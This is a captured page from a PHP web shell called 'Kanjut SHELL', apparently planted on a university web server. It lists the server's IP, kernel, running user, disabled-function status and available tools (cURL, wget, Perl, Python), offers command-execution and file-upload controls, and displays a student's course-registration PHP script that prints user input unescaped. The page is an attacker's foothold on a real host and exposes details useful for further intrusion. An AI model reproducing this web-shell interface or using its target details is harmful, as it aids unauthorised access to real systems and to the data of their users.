Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 18.190.253.56
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/jlsnowden/www/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/jlsnowden/www/StudentRegSession.php
<?php session_start(); ?>

<CENTER>
<H2>
Registration Summary:
</H2>
<HR>
<?php

$name=$_SESSION['name'];
$gender=$_SESSION['gender'];
$class=$_SESSION['class'];

print"Name: $name <P> ";
print"Gender: $gender <P> Year: $class ";

?>

<?php


$prefer=$_POST["prefer"];

$CSMmenu=array("CS112", "CS212", "CS310", "CS311", "CS380", "CS440", "CS480","Math135","Math136", "Math171", "Math172","Math271");



if(count($prefer)==0)
print "<P> Oh no! Pick a Class";
else
{
   print "<P> Your Classes are: <P> ";
   foreach($prefer as $i)
	print" $CSMmenu[$i]<P>";
	
}


?>
</CENTER>


Stv3n404 - 2023